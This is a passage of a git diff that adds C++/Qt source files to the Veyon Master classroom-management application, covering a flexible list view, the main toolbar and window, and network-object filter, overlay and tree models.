QListView::Free && model() ) + { + auto m = model(); + + for( int i = 0, count = m->rowCount(); i < count; ++i ) + { + const auto index = m->index( i, 0 ); + const auto uid = m->data( index, m_uidRole ).toUuid(); + + if( uid.isNull() == false ) + { + m_positions[uid] = toGridPoint( rectForIndex( index ).topLeft() ); + } + } + } +} + + + +QSizeF FlexibleListView::effectiveGridSize() const +{ + auto m = model(); + + if( m && m->rowCount() > 0 ) + { + return rectForIndex( m->index( 0, 0 ) ).size() + QSize( spacing(), spacing() ); + } + else if( iconSize().isEmpty() == false ) + { + return iconSize() + QSize( spacing(), spacing() ); + } + + return QSizeF( spacing() + 1, spacing() + 1 ); +} + + + +QPointF FlexibleListView::toGridPoint( const QPoint& pos ) const +{ + const auto gridSize = effectiveGridSize(); + + return QPointF( ( pos.x() - spacing() ) / gridSize.width(), + ( pos.y() - spacing() ) / gridSize.height() ); +} + + + +QPoint FlexibleListView::toItemPosition( const QPointF& gridPoint ) const +{ + const auto gridSize = effectiveGridSize(); + + return QPoint( spacing() + qMax( 0, gridPoint.x() * gridSize.width() ), + spacing() + qMax( 0, gridPoint.y() * gridSize.height() ) ); +} diff --git a/master/src/FlexibleListView.h b/master/src/FlexibleListView.h new file mode 100644 index 0000000..f08ff84 --- /dev/null +++ b/master/src/FlexibleListView.h @@ -0,0 +1,64 @@ +/* + * FlexibleListView.h - list view with flexible icon positions + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef FLEXIBLE_LIST_VIEW_H +#define FLEXIBLE_LIST_VIEW_H + +#include + +class FlexibleListView : public QListView +{ + Q_OBJECT +public: + FlexibleListView( QWidget *parent = nullptr ); + ~FlexibleListView() override; + + void setUidRole( int role ); + + void setFlexible( bool enabled ); + bool flexible() const; + + void alignToGrid(); + + QJsonArray savePositions(); + void loadPositions( const QJsonArray& data ); + +public: + void doItemsLayout() override; + +private: + void restorePositions(); + void updatePositions(); + +private: + QSizeF effectiveGridSize() const; + QPointF toGridPoint( const QPoint& pos ) const; + QPoint toItemPosition( const QPointF& gridPoint ) const; + + int m_uidRole; + QHash m_positions; + +}; + +#endif // FLEXIBLE_LIST_VIEW_H diff --git a/master/src/MainToolBar.cpp b/master/src/MainToolBar.cpp new file mode 100644 index 0000000..b591724 --- /dev/null +++ b/master/src/MainToolBar.cpp @@ -0,0 +1,111 @@ +/* + * MainToolBar.cpp - MainToolBar for MainWindow + * + * Copyright (c) 2007-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include +#include +#include + +#include "MainToolBar.h" +#include "MainWindow.h" +#include "VeyonMaster.h" +#include "ToolButton.h" +#include "UserConfig.h" + + +MainToolBar::MainToolBar( QWidget* parent ) : + QToolBar( tr( "Configuration" ), parent ), + m_mainWindow( dynamic_cast( parent ) ) +{ + QPalette pal = palette(); + pal.setBrush( QPalette::Window, QPixmap( QStringLiteral(":/resources/toolbar-background.png") ) ); + setPalette( pal ); + + ToolButton::setToolTipsDisabled( m_mainWindow->masterCore().userConfig().noToolTips() ); + ToolButton::setIconOnlyMode( m_mainWindow, m_mainWindow->masterCore().userConfig().toolButtonIconOnlyMode() ); +} + + + +MainToolBar::~MainToolBar() +{ +} + + + +void MainToolBar::contextMenuEvent( QContextMenuEvent* event ) +{ + QMenu menu( this ); + +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + auto toolTipAction = menu.addAction( tr( "Disable balloon tooltips" ) ); + connect( toolTipAction, &QAction::triggered, this, &MainToolBar::toggleToolTips ); +#else + auto toolTipAction = menu.addAction( tr( "Disable balloon tooltips" ), this, &MainToolBar::toggleToolTips ); +#endif + toolTipAction->setCheckable( true ); + toolTipAction->setChecked( m_mainWindow->masterCore().userConfig().noToolTips() ); + +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + auto iconModeAction = menu.addAction( tr( "Show icons only" ) ); + connect( iconModeAction, &QAction::triggered, this, &MainToolBar::toggleIconMode ); +#else + auto iconModeAction = menu.addAction( tr( "Show icons only" ), this, &MainToolBar::toggleIconMode ); +#endif + iconModeAction->setCheckable( true ); + iconModeAction->setChecked( m_mainWindow->masterCore().userConfig().toolButtonIconOnlyMode() ); + + menu.exec( event->globalPos() ); +} + + + +void MainToolBar::paintEvent( QPaintEvent* event ) +{ + QPainter p( this ); + p.setPen( QColor( 48, 48, 48 ) ); + p.fillRect( event->rect(), palette().brush( QPalette::Window ) ); + p.drawLine( 0, 0, width(), 0 ); + p.drawLine( 0, height()-1, width(), height()-1 ); +} + + + +void MainToolBar::toggleToolTips() +{ + bool newToolTipState = !m_mainWindow->masterCore().userConfig().noToolTips(); + + ToolButton::setToolTipsDisabled( newToolTipState ); + m_mainWindow->masterCore().userConfig().setNoToolTips( newToolTipState ); +} + + + +void MainToolBar::toggleIconMode() +{ + bool newToolButtonIconMode = !m_mainWindow->masterCore().userConfig().toolButtonIconOnlyMode(); + + ToolButton::setIconOnlyMode( m_mainWindow, newToolButtonIconMode ); + m_mainWindow->masterCore().userConfig().setToolButtonIconOnlyMode( newToolButtonIconMode ); +} diff --git a/master/src/MainToolBar.h b/master/src/MainToolBar.h new file mode 100644 index 0000000..89e9e46 --- /dev/null +++ b/master/src/MainToolBar.h @@ -0,0 +1,52 @@ +/* + * MainToolBar.h - MainToolBar for MainWindow + * + * Copyright (c) 2007-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef MAIN_TOOL_BAR_H +#define MAIN_TOOL_BAR_H + +#include + +class MainWindow; + +class MainToolBar : public QToolBar +{ + Q_OBJECT +public: + MainToolBar( QWidget* parent ); + ~MainToolBar() override; + + +private slots: + void toggleToolTips(); + void toggleIconMode(); + + +private: + void contextMenuEvent( QContextMenuEvent* event ) override; + void paintEvent( QPaintEvent* event ) override; + + MainWindow* m_mainWindow; + +} ; + +#endif diff --git a/master/src/MainWindow.cpp b/master/src/MainWindow.cpp new file mode 100644 index 0000000..1433bc3 --- /dev/null +++ b/master/src/MainWindow.cpp @@ -0,0 +1,340 @@ +/* + * MainWindow.cpp - implementation of MainWindow class + * + * Copyright (c) 2004-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include +#include +#include + +#include "AboutDialog.h" +#include "AccessControlProvider.h" +#include "MainWindow.h" +#include "BuiltinFeatures.h" +#include "AuthenticationCredentials.h" +#include "ComputerControlListModel.h" +#include "ComputerManager.h" +#include "ComputerManagementView.h" +#include "ScreenshotManagementView.h" +#include "FeatureManager.h" +#include "MonitoringMode.h" +#include "NetworkObjectDirectory.h" +#include "NetworkObjectDirectoryManager.h" +#include "ToolButton.h" +#include "VeyonConfiguration.h" +#include "VeyonMaster.h" +#include "UserConfig.h" + +#include "ui_MainWindow.h" + + +MainWindow::MainWindow( VeyonMaster &masterCore, QWidget* parent ) : + QMainWindow( parent ), + ui( new Ui::MainWindow ), + m_master( masterCore ), + m_modeGroup( new QButtonGroup( this ) ) +{ + ui->setupUi( this ); + + setWindowTitle( QStringLiteral( "%1 Master" ).arg( VeyonCore::applicationName() ) ); + + restoreState( QByteArray::fromBase64( m_master.userConfig().windowState().toUtf8() ) ); + restoreGeometry( QByteArray::fromBase64( m_master.userConfig().windowGeometry().toUtf8() ) ); + + ui->computerMonitoringView->setVeyonMaster( m_master ); + + // add widgets to status bar + ui->statusBar->addWidget( ui->computerManagementButton ); + ui->statusBar->addWidget( ui->screenshotManagementButton ); + ui->statusBar->addWidget( ui->spacerLabel1 ); + ui->statusBar->addWidget( ui->filterLineEdit, 2 ); + ui->statusBar->addWidget( ui->filterPoweredOnComputersButton ); + ui->statusBar->addWidget( ui->spacerLabel2, 1 ); + ui->statusBar->addWidget( ui->gridSizeSlider, 2 ); + ui->statusBar->addWidget( ui->autoFitButton ); + ui->statusBar->addWidget( ui->spacerLabel3 ); + ui->statusBar->addWidget( ui->useCustomComputerPlacementButton ); + ui->statusBar->addWidget( ui->alignComputersButton ); + ui->statusBar->addWidget( ui->spacerLabel4 ); + ui->statusBar->addWidget( ui->aboutButton ); + + // create all views + auto splitter = new QSplitter( Qt::Horizontal, ui->centralWidget ); + splitter->setChildrenCollapsible( false ); + + ui->centralLayout->addWidget( splitter ); + + m_computerManagementView = new ComputerManagementView( m_master.computerManager(), splitter ); + m_screenshotManagementView = new ScreenshotManagementView( splitter ); + + splitter->addWidget( m_computerManagementView ); + splitter->addWidget( m_screenshotManagementView ); + splitter->addWidget( ui->computerMonitoringView ); + + // hide views per default and connect related button + m_computerManagementView->hide(); + m_screenshotManagementView->hide(); + + connect( ui->computerManagementButton, &QAbstractButton::toggled, + m_computerManagementView, &QWidget::setVisible ); + connect( ui->screenshotManagementButton, &QAbstractButton::toggled, + m_screenshotManagementView, &QWidget::setVisible ); + + if( VeyonCore::config().openComputerManagementAtStart() ) + { + ui->computerManagementButton->setChecked( true ); + } + + // initialize search filter + ui->filterPoweredOnComputersButton->setChecked( m_master.userConfig().filterPoweredOnComputers() ); + connect( ui->filterLineEdit, &QLineEdit::textChanged, + ui->computerMonitoringView, &ComputerMonitoringView::setSearchFilter ); + connect( ui->filterPoweredOnComputersButton, &QToolButton::toggled, + ui->computerMonitoringView, &ComputerMonitoringView::setFilterPoweredOnComputers ); + + // initialize monitoring screen size slider + ui->gridSizeSlider->setMinimum( ComputerMonitoringView::MinimumComputerScreenSize ); + ui->gridSizeSlider->setMaximum( ComputerMonitoringView::MaximumComputerScreenSize ); + + connect( ui->gridSizeSlider, &QSlider::valueChanged, + ui->computerMonitoringView, &ComputerMonitoringView::setComputerScreenSize ); + connect( ui->computerMonitoringView, &ComputerMonitoringView::computerScreenSizeAdjusted, + ui->gridSizeSlider, &QSlider::setValue ); + connect( ui->autoFitButton, &QToolButton::clicked, + ui->computerMonitoringView, &ComputerMonitoringView::autoAdjustComputerScreenSize ); + + int size = ComputerMonitoringView::DefaultComputerScreenSize; + if( m_master.userConfig().monitoringScreenSize() >= ComputerMonitoringView::MinimumComputerScreenSize ) + { + size = m_master.userConfig().monitoringScreenSize(); + } + + ui->gridSizeSlider->setValue( size ); + ui->computerMonitoringView->setComputerScreenSize( size ); + + // initialize computer placement controls + ui->useCustomComputerPlacementButton->setChecked( m_master.userConfig().useCustomComputerPositions() ); + connect( ui->useCustomComputerPlacementButton, &QToolButton::toggled, + ui->computerMonitoringView, &ComputerMonitoringView::setUseCustomComputerPositions ); + connect( ui->alignComputersButton, &QToolButton::clicked, + ui->computerMonitoringView, &ComputerMonitoringView::alignComputers ); + + + // create the main toolbar + ui->toolBar->layout()->setSpacing( 2 ); + ui->toolBar->toggleViewAction()->setEnabled( false ); + + addToolBar( Qt::TopToolBarArea, ui->toolBar ); + + addFeaturesToToolBar(); + + m_modeGroup->button( qHash( m_master.builtinFeatures().monitoringMode().feature().uid() ) )->setChecked( true ); + + // setup system tray icon + QIcon icon( QStringLiteral(":/resources/icon16.png") ); + icon.addFile( QStringLiteral(":/resources/icon22.png") ); + icon.addFile( QStringLiteral(":/resources/icon32.png") ); + icon.addFile( QStringLiteral(":/resources/icon64.png") ); + + VeyonCore::enforceBranding( this ); +} + + + +MainWindow::~MainWindow() +{ + delete ui; +} + + + +bool MainWindow::initAuthentication() +{ + if( VeyonCore::instance()->initAuthentication( AuthenticationCredentials::AllTypes ) ) + { + return true; + } + + // if we have logon credentials, assume they are fine and continue + if( VeyonCore::authenticationCredentials().hasCredentials( AuthenticationCredentials::UserLogon ) ) + { + return true; + } + + QMessageBox::information( nullptr, + tr( "Authentication impossible" ), + tr( "No authentication key files were found or your current ones " + "are outdated. Please create new key files using the %1 " + "Configurator. Alternatively set up logon authentication " + "using the %1 Configurator. Otherwise you won't be " + "able to access computers using %1." ).arg( VeyonCore::applicationName() ) ); + + return false; +} + + + +bool MainWindow::initAccessControl() +{ + if( VeyonCore::config().accessControlForMasterEnabled() && + VeyonCore::authenticationCredentials().hasCredentials( AuthenticationCredentials::UserLogon ) ) + { + const auto accessControlResult = + AccessControlProvider().checkAccess( VeyonCore::authenticationCredentials().logonUsername(), + QHostAddress( QHostAddress::LocalHost ).toString(), + QStringList() ); + if( accessControlResult == AccessControlProvider::AccessDeny ) + { + qWarning() << "MainWindow::initAccessControl(): user" + << VeyonCore::authenticationCredentials().logonUsername() + << "is not allowed to access computers"; + QMessageBox::critical( nullptr, tr( "Access denied" ), + tr( "According to the local configuration you're not allowed " + "to access computers in the network. Please log in with a different " + "account or let your system administrator check the local configuration." ) ); + return false; + } + } + + return true; +} + + + +void MainWindow::closeEvent( QCloseEvent* event ) +{ + if( m_master.currentMode() != m_master.builtinFeatures().monitoringMode().feature().uid() ) + { + const Feature& activeFeature = m_master.featureManager().feature( m_master.currentMode() ); + + QMessageBox::information( this, tr( "Feature active" ), + tr( "The feature \"%1\" is still active. Please stop it before closing %2." ). + arg( activeFeature.displayName(), VeyonCore::applicationName() ) ); + event->ignore(); + return; + } + + m_master.userConfig().setWindowState( saveState().toBase64() ); + m_master.userConfig().setWindowGeometry( saveGeometry().toBase64() ); + + QMainWindow::closeEvent( event ); +} + + + +void MainWindow::keyPressEvent( QKeyEvent* event ) +{ + switch( event->key() ) + { + case Qt::Key_F5: + VeyonCore::networkObjectDirectoryManager().configuredDirectory()->update(); + m_master.computerControlListModel().reload(); + event->accept(); + break; + case Qt::Key_F11: + QWidget::setWindowState( QWidget::windowState() ^ Qt::WindowFullScreen ); + event->accept(); + break; + default: + QMainWindow::keyPressEvent( event ); + break; + } +} + + + +void MainWindow::showAboutDialog() +{ + AboutDialog( this ).exec(); +} + + + +void MainWindow::addFeaturesToToolBar() +{ + for( const auto& feature : m_master.features() ) + { + ToolButton* btn = new ToolButton( QIcon( feature.iconUrl() ), + feature.displayName(), + feature.displayNameActive(), + feature.description(), + feature.shortcut() ); + connect( btn, &QToolButton::clicked, this, [=] () { + m_master.runFeature( feature ); + updateModeButtonGroup(); + } ); + btn->addTo( ui->toolBar ); + + if( feature.testFlag( Feature::Mode ) ) + { + btn->setCheckable( true ); + m_modeGroup->addButton( btn, qHash( feature.uid() ) ); + } + + addSubFeaturesToToolButton( btn, feature.uid() ); + } +} + + + +void MainWindow::addSubFeaturesToToolButton( ToolButton* button, Feature::Uid parentFeatureUid ) +{ + const auto subFeatures = m_master.subFeatures( parentFeatureUid ); + + if( subFeatures.isEmpty() ) + { + return; + } + + auto menu = new QMenu( button ); + + for( const auto& subFeature : subFeatures ) + { +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + auto action = menu->addAction( QIcon( subFeature.iconUrl() ), subFeature.displayName() ); + action->setShortcut( subFeature.shortcut() ); + connect( action, &QAction::triggered, this, [=] () { m_master.runFeature( subFeature ); } ); +#else + menu->addAction( QIcon( subFeature.iconUrl() ), subFeature.displayName(), this, + [=]() { m_master.runFeature( subFeature ); }, subFeature.shortcut() ); +#endif + } + + button->setMenu( menu ); + button->setPopupMode( ToolButton::InstantPopup ); +} + + + +void MainWindow::updateModeButtonGroup() +{ + const Feature::Uid& monitoringMode = m_master.builtinFeatures().monitoringMode().feature().uid(); + + if( m_master.currentMode() == monitoringMode ) + { + m_modeGroup->button( qHash( monitoringMode ) )->setChecked( true ); + } +} diff --git a/master/src/MainWindow.h b/master/src/MainWindow.h new file mode 100644 index 0000000..8a3fde9 --- /dev/null +++ b/master/src/MainWindow.h @@ -0,0 +1,84 @@ +/* + * MainWindow.h - main window of Veyon Master Application + * + * Copyright (c) 2004-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef MAIN_WINDOW_H +#define MAIN_WINDOW_H + +#include + +#include "Feature.h" + +class QButtonGroup; +class VeyonMaster; +class ComputerManagementView; +class ScreenshotManagementView; +class ToolButton; + +namespace Ui { +class MainWindow; +} + + +class MainWindow : public QMainWindow +{ + Q_OBJECT +public: + MainWindow( VeyonMaster& masterCore, QWidget* parent = nullptr ); + ~MainWindow() override; + + static bool initAuthentication(); + static bool initAccessControl(); + + VeyonMaster& masterCore() + { + return m_master; + } + + +protected: + void closeEvent( QCloseEvent* event ) override; + void keyPressEvent( QKeyEvent *e ) override; + + +private slots: + void showAboutDialog(); + +private: + void addFeaturesToToolBar(); + void addSubFeaturesToToolButton( ToolButton* button, Feature::Uid parentFeatureUid ); + + void updateModeButtonGroup(); + + Ui::MainWindow* ui; + + VeyonMaster& m_master; + + QButtonGroup* m_modeGroup; + + ComputerManagementView* m_computerManagementView; + ScreenshotManagementView* m_screenshotManagementView; + +} ; + +#endif diff --git a/master/src/NetworkObjectFilterProxyModel.cpp b/master/src/NetworkObjectFilterProxyModel.cpp new file mode 100644 index 0000000..ef0b7b4 --- /dev/null +++ b/master/src/NetworkObjectFilterProxyModel.cpp @@ -0,0 +1,82 @@ +/* + * NetworkObjectFilterProxyModel.cpp - implementation of NetworkObjectFilterProxyModel + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "NetworkObjectModel.h" +#include "NetworkObjectFilterProxyModel.h" + +NetworkObjectFilterProxyModel::NetworkObjectFilterProxyModel( QObject* parent ) : + QSortFilterProxyModel( parent ), + m_groupList(), + m_computerExcludeList(), + m_excludeEmptyGroups( false ) +{ +} + + + +void NetworkObjectFilterProxyModel::setGroupFilter( const QStringList& groupList ) +{ + beginResetModel(); + m_groupList = groupList; + endResetModel(); +} + + + +void NetworkObjectFilterProxyModel::setComputerExcludeFilter( const QStringList& computerExcludeList ) +{ + beginResetModel(); + m_computerExcludeList = computerExcludeList; + endResetModel(); +} + + + +bool NetworkObjectFilterProxyModel::filterAcceptsRow( int sourceRow, const QModelIndex& sourceParent ) const +{ + if( sourceParent.isValid() ) + { + if( m_computerExcludeList.isEmpty() ) + { + return true; + } + + const auto hostAddress = sourceModel()->data( sourceModel()->index( sourceRow, 0, sourceParent ), + NetworkObjectModel::HostAddressRole ).toString(); + + return m_computerExcludeList.contains( hostAddress, Qt::CaseInsensitive ) == false; + } + + if( m_excludeEmptyGroups && sourceModel()->rowCount( sourceModel()->index( sourceRow, 0 ) ) == 0 ) + { + return false; + } + + if( m_groupList.isEmpty() ) + { + return true; + } + + return m_groupList.contains( sourceModel()->data( sourceModel()->index( sourceRow, 0 ) ).toString() ); +} diff --git a/master/src/NetworkObjectFilterProxyModel.h b/master/src/NetworkObjectFilterProxyModel.h new file mode 100644 index 0000000..d38ba7a --- /dev/null +++ b/master/src/NetworkObjectFilterProxyModel.h @@ -0,0 +1,53 @@ +/* + * NetworkObjectFilterProxyModel.h - header file for NetworkObjectFilterProxyModel + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef NETWORK_OBJECT_FILTER_PROXY_MODEL_H +#define NETWORK_OBJECT_FILTER_PROXY_MODEL_H + +#include + +class NetworkObjectFilterProxyModel : public QSortFilterProxyModel +{ + Q_OBJECT +public: + NetworkObjectFilterProxyModel( QObject* parent ); + + void setGroupFilter( const QStringList& groupList ); + void setComputerExcludeFilter( const QStringList& computerExcludeList ); + void setEmptyGroupsExcluded( bool enabled ) + { + m_excludeEmptyGroups = enabled; + } + +protected: + bool filterAcceptsRow( int sourceRow, const QModelIndex& sourceParent ) const override; + +private: + QStringList m_groupList; + QStringList m_computerExcludeList; + bool m_excludeEmptyGroups; + +}; + +#endif // NETWORK_OBJECT_FILTER_PROXY_MODEL_H diff --git a/master/src/NetworkObjectOverlayDataModel.cpp b/master/src/NetworkObjectOverlayDataModel.cpp new file mode 100644 index 0000000..09dfee4 --- /dev/null +++ b/master/src/NetworkObjectOverlayDataModel.cpp @@ -0,0 +1,96 @@ +/* + * NetworkObjectOverlayDataModel.cpp - overlay model for NetworkObjectModel to provide extra data + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "NetworkObjectOverlayDataModel.h" +#include "NetworkObjectModel.h" + + +NetworkObjectOverlayDataModel::NetworkObjectOverlayDataModel( int overlayDataColumn, + int overlayDataRole, + const QVariant& overlayDataColumnHeaderData, + QObject *parent ) : + QIdentityProxyModel( parent ), + m_overlayDataColumn( overlayDataColumn ), + m_overlayDataRole( overlayDataRole ), + m_overlayDataColumnHeaderData( overlayDataColumnHeaderData ) +{ +} + + + +int NetworkObjectOverlayDataModel::columnCount( const QModelIndex& parent ) const +{ + return qMax( QIdentityProxyModel::columnCount( parent ), m_overlayDataColumn + 1 ); +} + + + +QVariant NetworkObjectOverlayDataModel::headerData( int section, Qt::Orientation orientation, int role ) const +{ + if( section == m_overlayDataColumn && role == Qt::DisplayRole && orientation == Qt::Horizontal ) + { + return m_overlayDataColumnHeaderData; + } + + return QIdentityProxyModel::headerData( section, orientation, role ); +} + + + +QVariant NetworkObjectOverlayDataModel::data( const QModelIndex& index, int role ) const +{ + if( index.column() != m_overlayDataColumn || role != m_overlayDataRole ) + { + return QIdentityProxyModel::data( index, role ); + } + + NetworkObject::Uid networkObjectUid = data( index, NetworkObjectModel::UidRole ).toUuid(); + + if( networkObjectUid.isNull() == false && m_overlayData.contains( networkObjectUid ) ) + { + return m_overlayData[networkObjectUid]; + } + + return QVariant(); +} + + + +bool NetworkObjectOverlayDataModel::setData( const QModelIndex& index, const QVariant& value, int role ) +{ + if( index.column() != m_overlayDataColumn || role != m_overlayDataRole ) + { + return QIdentityProxyModel::setData( index, value, role ); + } + + NetworkObject::Uid networkObjectUid = data( index, NetworkObjectModel::UidRole ).toUuid(); + + if( m_overlayData[networkObjectUid] != value ) + { + m_overlayData[networkObjectUid] = value; + emit dataChanged( index, index, QVector( { m_overlayDataRole } ) ); + } + + return true; +} diff --git a/master/src/NetworkObjectOverlayDataModel.h b/master/src/NetworkObjectOverlayDataModel.h new file mode 100644 index 0000000..ec41ca7 --- /dev/null +++ b/master/src/NetworkObjectOverlayDataModel.h @@ -0,0 +1,58 @@ +/* + * NetworkObjectOverlayDataModel.h - overlay model for NetworkObjectModel to provide extra data + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef NETWORK_OBJECT_OVERLAY_DATA_MODEL_H +#define NETWORK_OBJECT_OVERLAY_DATA_MODEL_H + +#include + +#include "NetworkObject.h" + +class NetworkObjectOverlayDataModel : public QIdentityProxyModel +{ + Q_OBJECT +public: + NetworkObjectOverlayDataModel( int overlayDataColumn, + int overlayDataRole, + const QVariant& overlayDataColumnHeaderData, + QObject *parent = nullptr ); + + int columnCount(const QModelIndex &parent = QModelIndex()) const override; + + QVariant headerData( int section, Qt::Orientation orientation, int role = Qt::DisplayRole ) const override; + + QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const override; + + bool setData(const QModelIndex &index, const QVariant &value, int role) override; + + +private: + int m_overlayDataColumn; + int m_overlayDataRole; + QVariant m_overlayDataColumnHeaderData; + QHash m_overlayData; + +}; + +#endif // NETWORK_OBJECT_OVERLAY_DATA_MODEL_H diff --git a/master/src/NetworkObjectTreeModel.cpp b/master/src/NetworkObjectTreeModel.cpp new file mode 100644 index 0000000..b015c84 --- /dev/null +++ b/master/src/NetworkObjectTreeModel.cpp @@ -0,0 +1,254 @@ +/* + * NetworkObjectTreeModel.cpp - data model returning hierarchically grouped network objects + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "NetworkObjectDirectory.h" +#include "NetworkObjectTreeModel.h" + + +NetworkObjectTreeModel::NetworkObjectTreeModel( NetworkObjectDirectory* directory, QObject* parent ) : + NetworkObjectModel( parent ), + m_directory( directory ) +{ + connect( m_directory, &NetworkObjectDirectory::objectsAboutToBeInserted, + this, &NetworkObjectTreeModel::beginInsertObjects ); + connect( m_directory, &NetworkObjectDirectory::objectsInserted, + this, &NetworkObjectTreeModel::endInsertObjects ); + + connect( m_directory, &NetworkObjectDirectory::objectsAboutToBeRemoved, + this, &NetworkObjectTreeModel::beginRemoveObjects ); + connect( m_directory, &NetworkObjectDirectory::objectsRemoved, + this, &NetworkObjectTreeModel::endRemoveObjects ); + + connect( m_directory, &NetworkObjectDirectory::objectChanged, + this, &NetworkObjectTreeModel::updateObject ); +} + + + +QModelIndex NetworkObjectTreeModel::index(int row, int column, const QModelIndex &parent) const +{ + if( parent.isValid() && parent.column() != 0 ) + { + return QModelIndex(); + } + + int parentId = 0; + if( parent.isValid() && parent.internalId() == 0 ) + { + parentId = parent.row() + 1; + } + + return createIndex( row, column, static_cast(parentId) ); +} + + + +QModelIndex NetworkObjectTreeModel::parent( const QModelIndex& index 